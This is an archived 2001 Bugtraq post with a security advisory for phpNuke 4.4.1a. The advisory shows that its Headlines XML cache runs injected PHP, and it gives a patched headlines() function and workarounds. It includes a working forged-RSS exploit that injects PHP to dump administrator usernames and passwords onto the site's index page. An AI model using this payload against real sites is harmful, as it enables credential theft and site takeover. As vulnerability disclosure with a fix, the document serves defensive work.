[19813] in bugtraq
Relative Vulnerability in Phpnuke XML parser
daemon@ATHENA.MIT.EDU (tobozo)
Fri Mar 23 16:28:52 2001
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0114_01C0B3A3.C716DF60"
Message-ID: <011701c0b3a3$c8426710$0100a8c0@sulphor>
Date: Fri, 23 Mar 2001 14:15:56 -0000
Reply-To: tobozo <tobozo@IOL.IE>
From: tobozo <tobozo@IOL.IE>
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
------=_NextPart_000_0114_01C0B3A3.C716DF60
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Hi
Dunno if I respected the format or if this is the correct list, but there it
is another security bulletin for phpNuke (owned by mandrakesoft is it?)
enjoy
tbz
------=_NextPart_000_0114_01C0B3A3.C716DF60
Content-Type: application/octet-stream;
name="xxxxxxxxxxxx.adv.en"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="xxxxxxxxxxxx.adv.en"
\";phpinfo();//=0A=
=0A=
=0A=
The title of this article could have phpNuke's parser acting strange if =
inserted=0A=
as is in the backend xml file called every hour.=0A=
=0A=
=0A=
sAvAte inc.=0A=
Serial Savate System=0A=
=0A=
<[( advisory )]>---------------------------------------<[( =
xxxxxxxxxxxx.adv.en=0A=
=0A=
Program: PHPNUKE=0A=
Homepage: http://www.phpnuke.org=0A=
Author Contacte: 22/mar/2001=0A=
Answer: ??/??/??=0A=
Patch : ??/??/??=0A=
Version tested: 4.4.1a=0A=
Found by : tobozo=0A=
=0A=
=0A=
- Problem description:=0A=
~~~~~~~~~~~~~~~~~~~~=0A=
=0A=
The method used by phpnuke to parse and update the cache is unsecure. By =
building some php code=0A=
directly in a cache file, it gives the possibility to send and run =
arbitrary code to a person controlling the backend that is used to feed =
this parser.=0A=
By including this file to build the index page, the code is not =
displayed but executed.=0A=
The operation is performed by declaring a variable (stands on one single =
line) :=0A=
<?php $boxstuff .=3D "<li><A =
HREF=3D\"http://stuff.com/article?story_id=3D36\" >Title</A><BR>"; ?>=0A=
=0A=
This problem has two causes :=0A=
=0A=
fputs($fpwrite, "<?php \$boxstuff .=3D \"$separ<A HREF=3D\\\"$link\\\" =
TARGET=3D$target>$title</A><BR>\"; ?>\n");=0A=
=0A=
1) No parsing is really done to check integrity of the xml code, neither =
the content of the title and link tags.=0A=
=0A=
2) The cache file is included instead of being simply echoed=0A=
if (file_exists($cache_file)) {=0A=
include($cache_file);=0A=
}=0A=
=0A=
=0A=
- Impact:=0A=
~~~~~~~=0A=
=0A=
1) it is possible by forging a xml file to execute arbitrary php code on =
the index page, having all the session variables fully available (get, =
post, cookie, database access r/w)=0A=
=0A=
2) it is possible using the arbitrary code to display the result of the =
execution and therefore interact directly with the content of the index =
page.=0A=
=0A=
=0A=
- Exploit:=0A=
~~~~~~~~=0A=
=0A=
Logged in as admin, in the HeadLine section, if a given xml file =
http://remoteserver/badxmlfil.xml is modified in a way that matches the =
expected format (fields title and link), it must be preceeded by the =
characters \"; and located between title or link tags.=0A=
The addslashed php code given after will be pushed then parsed by the =
phpnuke Headlines function, whatever is after the characters \";=0A=
=0A=
Here is an example of forged bad xml that lists usernames/passwords :=0A=
<?xml version=3D"1.0"?>=0A=
<channel>=0A=
<description>PHPNukePass Vulnerability </description>=0A=
<language>en-us</language>=0A=
<title>PHPNuke : show me your pass. Brought to you by tobozo@biosys.net=0A=
</title>=0A=
<link>http://www.phpnuke.org/</link>=0A=
<image>=0A=
<title>Phpnuke naked</title>=0A=
<url>http://www.phpnuke.org/topics/topic.gif</url>=0A=
<width>160</width>=0A=
<height>59</height>=0A=
<description>Naked</description>=0A=
</image>=0A=
<item>=0A=
<title>\";$result=3Dmysql_query('select aid, pwd from authors');echo =
'Pass List !!!<br>';while(list($user, $pass)=3Dmysql_fetch_row($result)) =
echo 'User : <B>'.$user.'</B> Pass : <B> '.$pass.'</B><br>';#;//</title>=0A=
<link></link>=0A=
</item>=0A=
<item>=0A=
</channel>=0A=
</rss>=0A=
=0A=
=0A=
=0A=
When parsed by phpnuke HeadLines system, the cache file will be updated =
with the=0A=
following content (still stands on one line) :=0A=
=0A=
<?php $boxstuff .=3D "<li><A HREF=3D\"\" =
TARGET=3Dnew>\";$result=3Dmysql_query(\"select aid, pwd from =
authors\");while(list($user, $pass)=3Dmysql_fetch_row($result)) echo =
\\"User : $user - Pass : $pass<Br>\\";#;//</A><BR>"; ?> <?php $boxstuff =
.=3D "<li><A HREF=3D\"</rss>\" TARGET=3Dnew></channel></A><BR>";?>=0A=
=0A=
And executed on the index page, making available to everybody the list =
of usernames and passwords.=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
Fix : =0A=
~~~~~=0A=
=0A=
In the mainfile.php update the Headline function with the following =
content : =0A=
=0A=
function headlines() {=0A=
$result =3D mysql_query("select sitename, url, headlinesurl from =
headlines where status=3D1");=0A=
while (list($sitename, $url, $headlinesurl) =3D =
mysql_fetch_row($result)) {=0A=
$boxtitle =3D "$sitename";=0A=
$separ =3D "<li>";=0A=
$cache_file =3D "cache/$sitename.cache";=0A=
$cache_time =3D 3600;=0A=
$max_items =3D 10;=0A=
$target =3D "new";=0A=
$items =3D 0;=0A=
$time =3D split(" ", microtime());=0A=
srand((double)microtime()*1000000);=0A=
$cache_time_rnd =3D 300 - rand(0, 600);=0A=
if ( (!(file_exists($cache_file))) || ((filectime($cache_file) + =
$cache_time - $time[1]) + $cache_time_rnd < 0) || =
(!(filesize($cache_file))) ) {=0A=
$fpread =3D fopen($headlinesurl, 'r');=0A=
if(!$fpread) {=0A=
} else {=0A=
$fpwrite =3D fopen($cache_file, 'w');=0A=
if(!$fpwrite) {=0A=
} else {=0A=
while(! feof($fpread) ) {=0A=
$buffer =3D ltrim(Chop(fgets($fpread, 256)));=0A=
if (($buffer =3D=3D "<item>") && ($items < =
$max_items)) {=0A=
$title =3D ltrim(Chop(fgets($fpread, 256)));=0A=
$link =3D ltrim(Chop(fgets($fpread, 256)));=0A=
$title =3D ereg_replace( "<title>", "", =
$title );=0A=
$title =3D ereg_replace( "</title>", "", =
$title );=0A=
$title =3D ereg_replace( "\"", "\\\"", =
$title );=0A=
$link =3D ereg_replace( "<link>", "", $link =
);=0A=
$link =3D ereg_replace( "</link>", "", $link =
);=0A=
// fix #1 provided by =
tobozo@users.sourceforge.net 23-mar-2001=0A=
fputs($fpwrite, "$separ<A HREF=3D'$link' =
TARGET=3D$target>$title</A><BR>\n");=0A=
$items++;=0A=
}=0A=
}=0A=
}=0A=
fclose($fpread);=0A=
}=0A=
fclose($fpwrite);=0A=
}=0A=
// fix #2 provided by tobozo@users.sourceforge.net 23-mar-2001=0A=
if (isset($cache_file) && file_exists($cache_file)) {=0A=
$myfile=3Dfile($cache_file);=0A=
$mylines=3Dcount($myfile);=0A=
for($index=3D0;$index<$mylines;$index++) {=0A=
$ticker.=3D$myfile[$index];=0A=
}=0A=
}=0A=
$ticker .=3D "<DIV align=3Dright><a href=3D\"$url\" =
target=3Dblank><b>read more...</b></a></DIV>";=0A=
themesidebox($boxtitle, $ticker);=0A=
$ticker =3D "";=0A=
}=0A=
}=0A=
=0A=
=0A=
=0A=
=0A=
=0A=
- Workaround :=0A=
~~~~~~~~~~~~=0A=
=0A=
1) use a real xml parser for phpnuke (php functions or xml.php class)=0A=
2) store passwords as md5 on the database=0A=
3) install phpslash=0A=
=0A=
=0A=
- Code:=0A=
~~~~~=0A=
Tested on http://www.securix.org (successfully)=0A=
=0A=
- Contact us:=0A=
~~~~~~~~~~~=0A=
http://madchat.sourceforge.net=0A=
=0A=
tobozo@users.sourceforge.net=0A=
=0A=
- Greetings:=0A=
~~~~~~~=0A=
=0A=
Yannick, Hertz, The phpSlash Team, Hideo, Eberkut, Gard, madteam=0A=
=0A=
[EOF]=0A=
------=_NextPart_000_0114_01C0B3A3.C716DF60--